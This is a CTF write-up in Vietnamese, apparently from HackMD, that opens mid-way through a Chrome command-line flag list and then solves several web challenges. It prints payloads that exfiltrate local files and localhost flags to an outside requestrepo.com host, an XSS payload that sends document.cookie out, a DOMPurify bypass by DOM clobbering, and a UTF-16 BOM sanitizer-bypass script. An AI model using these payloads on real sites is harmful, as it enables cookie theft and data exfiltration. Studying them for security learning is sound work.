--oobe-trigger-sync-timeout-for-tests --opengraph --openxr --optimization-guide-fetch-hints-override --optimization-guide-fetch-hints-override-timer --optimization-guide-model-execution-validate --optimization-guide-model-override --optimization-guide-model-validate --optimization-guide-ondevice-model-execution-override --optimization-guide-service-api-key --optimization-guide-service-get-hints-url --optimization-guide-service-get-models-url --optimization-guide-service-model-execution-url --optimization_guide_hints_override --orientation-sensors --origin-trial-disabled-features --origin-trial-disabled-tokens --origin-trial-public-key --output --override-enabled-cdm-interface-version --override-hardware-secure-codecs-for-testing --override-language-detection --override-metrics-upload-url --override-use-software-gl-for-tests --ozone-dump-file --ozone-override-screen-size --ozone-platform --ozone-platform-hint --pack-extension-key --package-name --package-version-code --package-version-name --page-content-annotations-validation-batch-size --page-content-annotations-validation-content-visibility --page-content-annotations-validation-page-entities --page-content-annotations-validation-startup-delay-seconds --page-content-annotations-validation-write-to-file --parent-window --passthrough --pdf-renderer --pdf_conversion --pen-devices --perf-test-print-uma-means --perfetto-disable-interning --performance --picker-feature-key --playready-key-system --policy --ppapi --ppapi-antialiased-text-enabled --ppapi-in-process --ppapi-plugin-launcher --ppapi-startup-dialog --ppapi-subpixel-rendering-setting --prediction-service-mock-likelihood --preinstalled-web-apps-dir --prevent-kiosk-autolaunch-for-testing --prevent-resizing-contents-for-testing --previous-app --printing-ppd-channel --print_backend --print_compositor --privacy-policy-host-for-tests --private-aggregation-developer-mode --privet-ipv6-only --process-per-site --process-per-tab --production --profile-base-name --profile-directory --profile-email --profile-management-attributes --profile-requires-policy --profiling-at-start --profiling-file --profiling-flush --protected-audiences-consented-debug-token --proxy-auto-detect --proxy-bypass-list --proxy-pac-url --proxy-server --proxy_resolver_win --pseudo --public-accounts-saml-acl-url --purge-model-and-features-store --purge-optimization-guide-store --pwa-launcher-version --qs-add-fake-bluetooth-devices --qs-add-fake-cast-devices --qs-show-locale-tile --query-tiles-enable-trending --query-tiles-instant-background-task --query-tiles-rank-tiles --query-tiles-single-tier --quota-change-event-interval --raise-timer-frequency --rdp_desktop_session --reader-mode-feedback --reader-mode-heuristics --realtime-reporting-url --redirect-libassistant-logging --reduce-user-agent-minor-version --reduce-user-agent-platform-oscpu --register-max-dark-suspend-delay --register-pepper-plugins --regulatory-label-dir --relauncher --remote-allow-origins --remote-debug-mode --remote-debugging-address --remote-debugging-io-pipes --remote-debugging-port --remote-debugging-socket-name --remote-debugging-targets --remote-reboot-command-timeout-in-seconds-for-testing --renderer --renderer-client-id --renderer-cmd-prefix --renderer-process-limit --renderer-sampling --renderer-wait-for-java-debugger --renderpass --report-vp9-as-an-unsupported-mime-type --request-desktop-sites --require-wlan --reset-browsing-instance-between-tests --reset-variation-state --restart --restore-key-on-lock-screen --restore-last-session --restrict-gamepad-access --reven-branding --rlz-ping-delay --rtl --run-all-compositor-stages-before-draw --run-web-tests --safe-mode --safebrowsing-enable-enhanced-protection --safebrowsing-manual-download-blacklist --saml-password-change-url --sandbox-ipc --save-page-as-mhtml --scheduled-reboot-grace-period-in-seconds-for-testing --scheduler-boost-urgent --scheduler-configuration --scheduler-configuration-default --screen-capture-audio-default-unchecked --screen-config --screen_ai --seal-key --search-engine-choice-country --search-provider-logo-url --secondary-display-layout --secure-connect-api-url --service --service-name --service-request-attachment-name --service-sandbox-type --service_with_jit --set-extension-throttle-test-params --setup --shader-cache-path --shared-array-buffer-unrestricted-access-allowed --shared-files --shelf-hotseat --shill-stub --short-merge-session-timeout-for-test --short-reporting-delay --show-aggregated-damage --show-autofill-signatures --show-autofill-type-predictions --show-component-extension-options --show-composited-layer-borders --show-dc-layer-debug-borders --show-icons --show-layer-animation-bounds --show-layout-shift-regions --show-login-dev-overlay --show-mac-overlay-borders --show-oobe-dev-overlay --show-oobe-quick-start-debugger --show-overdraw-feedback --show-paint-rects --show-property-changed-rects --show-screenspace-rects --show-surface-damage-rects --show-taps --signed-out-ntp-modules --simulate-browsing-data-lifetime --simulate-critical-update --simulate-elevated-recovery --simulate-idle-timeout --simulate-outdated --simulate-outdated-no-au --simulate-update-error-code --simulate-update-hresult --simulate-upgrade --single-process --site-per-process --skia-font-cache-limit-mb --skia-graphite-backend --skia-resource-cache-limit-mb --skip-force-online-signin-for-testing --skip-multidevice-screen --skip-reorder-nudge-show-threshold-duration --slow-down-compositing-scale-factor --slow-down-raster-scale-factor --sms-test-messages --source-shortcut --speech_recognition --ssl-key-log-file --ssl-version-max --ssl-version-min --stabilize-time-dependent-view-for-tests --stable-release-mode --staging --start-fullscreen --start-stack-profiler --start-stack-profiler-with-java-name-hashing --storage-pressure-notification-interval --stub --supports-clamshell-auto-rotation --suppress-message-center-popups --surface --swiftshader --swiftshader-webgl --sys-info-file-path --system-aec-enabled --system-developer-mode --system-font-family --system-gesture-start-height --system-gesture-start-width --system-log-upload-frequency --telemetry-extension-dir --test-child-process --test-encryption-migration-ui --test-gl-lib --test-memory-log-delay-in-minutes --test-name --test-third-party-cookie-phaseout --test-type --test-wallpaper-server --tether-host-scans-ignore-wired-connections --tether-stub --third-party-doodle-url --time-before-onboarding-survey-in-seconds-for-testing --time-ticks-at-unix-epoch --time-zone-for-testing --tint-composited-content --tint-composited-content-modulate --tls1.2 --tls1.3 --top-chrome-touch-ui --top-controls-hide-threshold --top-controls-show-threshold --touch-devices --touch-events --touch-selection-strategy --touch-slop-distance --touchscreen-usable-while-screen-off --touch_view --tpm-is-dynamic --trace-config-file --trace-smb-size --trace-startup --trace-startup-duration --trace-startup-enable-privacy-filtering --trace-startup-file --trace-startup-format --trace-startup-owner --trace-startup-record-mode --trace-to-file --trace-to-file-name --translate-ranker-model-url --translate-script-url --translate-security-origin --true --trusted-download-sources --try-supported-channel-layouts --tts --ui-disable-partial-swap --ui-disable-zero-copy --ui-enable-rgba-4444-textures --ui-enable-zero-copy --ui-show-composited-layer-borders --ui-show-fps-counter --ui-show-layer-animation-bounds --ui-show-paint-rects --ui-show-property-changed-rects --ui-show-screenspace-rects --ui-show-surface-damage-rects --ui-slow-animations --ui-toolkit --ukm-server-url --uma-insecure-server-url --uma-server-url --unfiltered-bluetooth-devices --uninstall --uninstall-app-id --unlimited-storage --unsafely-allow-protected-media-identifier-for-domain --unsafely-treat-insecure-origin-as-secure --use-adapter-luid --use-angle --use-cast-browser-pref-config --use-cmd-decoder --use-cras --use-fake-codec-for-peer-connection --use-fake-cras-audio-client-for-dbus --use-fake-device-for-media-stream --use-fake-mjpeg-decode-accelerator --use-fake-ui-for-fedcm --use-file-for-fake-audio-capture --use-file-for-fake-video-capture --use-first-display-as-internal --use-first-party-set --use-gl --use-gpu-high-thread-priority-for-perf-tests --use-gpu-in-tests --use-heap-profiling-proto-writer --use-legacy-metrics-service --use-mobile-user-agent --use-mock-cert-verifier-for-testing --use-mock-keychain --use-related-website-set --use-system-clipboard --use-system-default-printer --use-system-proxy-resolver --use-va-dev-keys --use-vulkan --use-wayland-explicit-grab --user-agent --user-agent-product --user-data-migrated --user-gesture-required --utility --utility-and-browser --utility-cmd-prefix --utility-sampling  --utility-sub-type --v --v8-cache-options --validate-input-event-stream --validating --variations-insecure-server-url --variations-override-country --variations-seed-fetch-interval --variations-seed-version --variations-server-url --verbose-logging-in-nacl --video-capture-use-gpu-memory-buffer --video-image-texture-target --video-threads --video_capture --view-stack-traces --viz-demo-use-gpu --vmodule --vsync-interval --vulkan --vulkan-heap-memory-limit-mb --vulkan-sync-cpu-memory-limit-mb --wait-for-debugger-webui --wallet-service-use-sandbox --waveout-buffers --web-otp-backend --web-otp-backend-auto --web-otp-backend-sms-verification --web-otp-backend-user-consent --web-sql-access --web-ui-data-source-path-for-testing --webapk-server-url --webauthn-permit-enterprise-attestation --webauthn-remote-desktop-support --webauthn-remote-proxied-requests-allowed-additional-origin --webgl-antialiasing-mode --webgl-msaa-sample-count --webrtc-event-log-proactive-pruning-delta --webrtc-event-log-upload-delay-ms --webrtc-event-log-upload-no-suppression --webrtc-event-logging --webrtc-ip-handling-policy --webview-disable-app-recovery --webview-disable-safebrowsing-support --webview-draw-functor-uses-vulkan --webview-enable-app-recovery --webview-enable-modern-cookie-same-site --webview-enable-trust-tokens-component --webview-log-js-console-messages --webview-safebrowsing-block-all-resources --webview-sandboxed-renderer --webview-selective-image-inversion-darkening --webview-tpcd-metadata-component --webview-verbose-logging --win-jumplist-action --window-name --window-position --window-size --window-workspace --winhttp-proxy-resolver --wm-window-animations-disabled --xr_compositing --xsession_chooser --yuy2 --zygote
```
Trong đó có options đáng chú ý là `--allow-file-access-from-files`
https://stackoverflow.com/questions/18586921/how-to-launch-html-using-chrome-at-allow-file-access-from-files-mode
=> đọc được file local với mục tiêu là `/flag.txt`
### Exploit
Upload file html:
```html
<!DOCTYPE html>
<html lang="en">
<head>
    <title>sol</title>
</head>
<body>
    <script>
        fetch('/flag.txt')
          .then(response => response.text())
          .then(data => {
            fetch('http://n1gqw31n.requestrepo.com', {
              method: 'POST',
              body: data
            });
          });
    </script>
</body>
</html>
```
Kết quả:

![image](https://hackmd.io/_uploads/rJUk0kNrA.png)
## Even more flags
Đây là bài 2 của bài trên, khác ở chỗ bài này nhập vào URL thay vì upload file:

![image](https://hackmd.io/_uploads/BJdXuxEBC.png)

Kiểm tra URL:

```javascript
if (parsed.protocol !== 'http:' && parsed.protocol !== 'https:') {
    return res.status(400).send('Invalid URL');
}
```
Sau đó chạy câu lệnh
```javascript!
const command = `bash -c "google-chrome-stable --disable-gpu --headless=new --no-sandbox --no-first-run ${flags} ${url}"`;
```

Mục tiêu là truy cập vào `/flag`:
```javascript!
app.get('/flag', (req, res) => {
    if (req.connection.remoteAddress === '::ffff:127.0.0.1' || req.connection.remoteAddress === "::1") return res.send(flag);
    res.send(`Nope! Your IP (${req.connection.remoteAddress}) is not localhost!`);
})
```
### Exploit
Host file tương tự bài trên
```html
<!DOCTYPE html>
<html lang="en">
<head>
    <title>sol</title>
</head>
<body>
    <script>
      fetch('http://127.0.0.1:1337/flag')
        .then(response => response.text())
        .then(data => {
          fetch('https://n1gqw31n.requestrepo.com/', {
            method: 'POST',
            body: data
          });
        });
    </script>
</body>
</html>
```


![image](https://hackmd.io/_uploads/SJbonlEHC.png)

Kết quả:

![image](https://hackmd.io/_uploads/SJLhnlErC.png)


## Refined Notes
Đây là chall XSS.
- Ứng dụng cho viết note có thể inject được HTML, tuy nhiên được xử lý qua Dompurify 3.1.4:
```html
<!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>Refined Note Taking App</title>
        <link href="https://cdn.jsdelivr.net/npm/tailwindcss@2.2.19/dist/tailwind.min.css" rel="stylesheet">
        <script src="https://cdn.jsdelivr.net/npm/dompurify@3.1.4/dist/purify.min.js"></script>
        <script defer src="/static/index.js"></script>
    </head>
    <body class="bg-gray-100 p-4">
        <div class="max-w-lg mx-auto">
            <h1 class="text-2xl font-bold mb-4">Refined Note Taking App</h1>
            <div id="container" class="mb-4 flex flex-col">
                <iframe id="noteframe" class=" bg-white w-full px-3 py-2 border rounded-md h-60" srcdoc=""></iframe>
                <textarea type="text" id="note" class="hidden w-full px-3 py-2 border rounded-md h-60" placeholder="Enter your note here"></textarea>
                <button id="submit" class="hidden mt-2 px-4 py-2 bg-blue-500 text-white rounded-md">Add Note</button>
            </div>
        </div>
    </body>
```
Xử lý:
```javascript
submit.addEventListener('click', (e) => {
    const purified = DOMPurify.sanitize(note.value);
    fetch("/", {
        method: "POST",
        body: purified
    }).then(response => response.text()).then((id) => {
        window.history.pushState({page: ''}, id, `/${id}`);
        submit.classList.add('hidden');
        note.classList.add('hidden');
        noteframe.classList.remove('hidden');
        noteframe.srcdoc = purified;
    });
});
```
Tuy nhiên nội dung được đưa vào `srcdoc`:

![image](https://hackmd.io/_uploads/S1iQ7lESC.png)

=> XSS
Payload:
```
" onload="fetch('https://n1gqw31n.requestrepo.com'+document.cookie)
```
Kết quả:

![image](https://hackmd.io/_uploads/Hki9VgEHC.png)

**intended**
Sử dụng html encode tại srcdoc:
```
&lt;img src=x:x onerror=alert(1)&gt;
```
https://github.com/apostrophecms/sanitize-html/issues/217




## Flag remover
XSS tại đây
```javascript
app.post('/chal', (req, res) => {
    let { flag, html } = req.body;
    // don't xss
    html = DOMPurify.sanitize(html);
    // don't close/open the body tag
    html = html.replace(/<body>|<\/body>/g, '');
    res.setHeader("Content-Security-Policy", "default-src 'none'; script-src 'self';");
    res.send(`
        <head>
            <script async defer src="/removeFlag.js"></script>
        </head>
        <body>
            <div class="flag">${flag}</div>
            ${html}
        </body>
    `);
});
```
`html` được sẽ xóa `<body>` hoặc `</body>` sau khi xử lý qua Dompurify.
Khi render ra html thì `/removeFlag.js` cũng sẽ thực thi 
```javascript
app.get('/removeFlag.js', (req, res) => {
    res.type('.js');
    res.send(`try {
        let els = document.body.querySelectorAll('.flag');
        if (els.length !== 1) throw "nope";
        els[0].remove();
    } catch(e) { location = 'https://duckduckgo.com/?q=no+cheating+allowed&iax=images&ia=images' }`);
});
```
Nó lấy ra tag có `class` là `flag`, nếu khác 1 giá trị thì `throw "nope"` còn không thì remove nó - tag chứ flag, vì vậy con bot đi qua cũng k capture lại được:
```javascript
app.post('/admin', async (req, res) => {
    try {
        const { solve } = req.body;
        const browser = await puppeteer.launch({ executablePath: process.env.BROWSER, args: ['--no-sandbox'] });
        // go to localhost:1337, type flag and html, click submit
        const page = await browser.newPage();
        await page.goto('http://localhost:1337/');
        await page.type('input[name="flag"]', flag.trim());
        await page.type('input[name="html"]', solve.trim());
        await page.click('button[type="submit"]');
        await new Promise(resolve => setTimeout(resolve, 5000));
        // make sure js execution isn't blocked
        await page.waitForFunction('true')
        // take a screenshot
        const screenshot = await page.screenshot({ encoding: 'base64' });
        await browser.close();
        res.send(`<img src="data:image/png;base64,${screenshot}" />`);
    } catch(e) {console.error(e); res.send("internal error :( pls report to admins")}
});
```
Việc tìm cách để nhìn flag trước khi bị remove cũng khó vì nó đã bị timeout 5s trước khi load ra hết.
Mục tiêu vẫn là thực thi được đoạn script không đúng cách, Dom Clebbering là kỹ thuật được dùng => ghi đè: `document.body.querySelectorAll('.flag')`
Nhìn vào phía trên kia, lợi dụng việc Dompurify thực hiện sanitize trước khi replace tag `body` để bypass.
Payload:
```html
<form name="body<body>"><div class=flag></form>
```
tag `body` sẽ giúp bypass được việc check dompurify, tag `div` kia sẽ là tag bị remove thay vì tag flag thật.
Khi đó `document.body` trở thành:

![image](https://hackmd.io/_uploads/SJ-rDN4BR.png)


Và `document.body.querySelectorAll('.flag')` sẽ lấy ra tag có class là `flag` trong form đó và chỉ có tag đó nên length là 1:

![image](https://hackmd.io/_uploads/BJMWvNEBR.png)

Kết quả là tag scipt thật không bị remove:

![image](https://hackmd.io/_uploads/SkhtPEES0.png)

Giờ chỉ viếc lấy flag:

![image](https://hackmd.io/_uploads/H15oD4NBR.png)

## Secure Notes
Source:
```javascript!
const DOMPurify = require('dompurify')(new (require('jsdom').JSDOM)('').window); // the only dependency!
require('fs').mkdirSync('notes', { recursive: true });
require('http').createServer((req, res) => { try {
    if (req.url === "/") {
        res.setHeader('Content-Type', 'text/html');
        res.end(`<textarea id="content"></textarea><br><button onclick="location='/submit?'+encodeURIComponent(content.value)">Submit`)
    } else if (req.url.startsWith("/submit")) {
        const content = decodeURIComponent(req.url.split('submit?')[1]);
        const id = require('crypto').randomBytes(16).toString('hex');
        require('fs').writeFileSync(`notes/${id}.html`, DOMPurify.sanitize(content), "utf-16le");
        res.setHeader("Location", `/notes/${id}`); res.statusCode = 302; res.end();
    } else if (req.url.startsWith("/notes/")) {
        const id = (req.url.split('/notes/')[1]).match(/^[a-f0-9]{32}$/);
        res.setHeader('Content-Type', 'text/html; charset=utf-16le');
        res.end(require('fs').readFileSync(`notes/${id}.html`));
} } catch(e) {console.log(e)}}).listen(1337);
```
Nhìn qua cũng biết liên quan đến `utf-16-le`, hiểu 1 cách đơn gian là do Dompurify và Chrome không thể xử lý an toàn được.
Script:
```python
# thx to https://stackoverflow.com/a/7103606 for pointing me in the right direction
# see https://html.spec.whatwg.org/multipage/parsing.html#determining-the-character-encoding point 1
# TLDR:
import requests

URL = "https://sweet-dreams-are-made-of-this--vula-7990.ctf.kitctf.de"

payload = "\ufeff<script>document.write(document.cookie)</script>"
be = payload.encode("utf-16-le")
swapped = b"".join(bytes([y, x]) for x, y in zip(be[::2], be[1::2]))
print(
    swapped, swapped.decode("utf-16-le"), swapped.decode("utf-16-be")
)  # the 2nd arg is what DOMPurify sees, the 3rd arg is what the browser sees

note = requests.post(url=URL+ "/submit?" + swapped.decode("utf-16-le"),).url

print(note)
```
BOM (Byte Order Mark) sniffing là một quá trình dùng để xác định mã hóa của một tài liệu văn bản dựa trên một dãy byte đặc biệt nằm ở đầu tài liệu. BOM giúp chỉ định thứ tự byte trong mã hóa ký tự, đặc biệt là trong các tài liệu Unicode. Dưới đây là chi tiết về BOM sniffing

![image](https://hackmd.io/_uploads/SJI5WHES0.png)


![image](https://hackmd.io/_uploads/B1EEA4ErA.png)

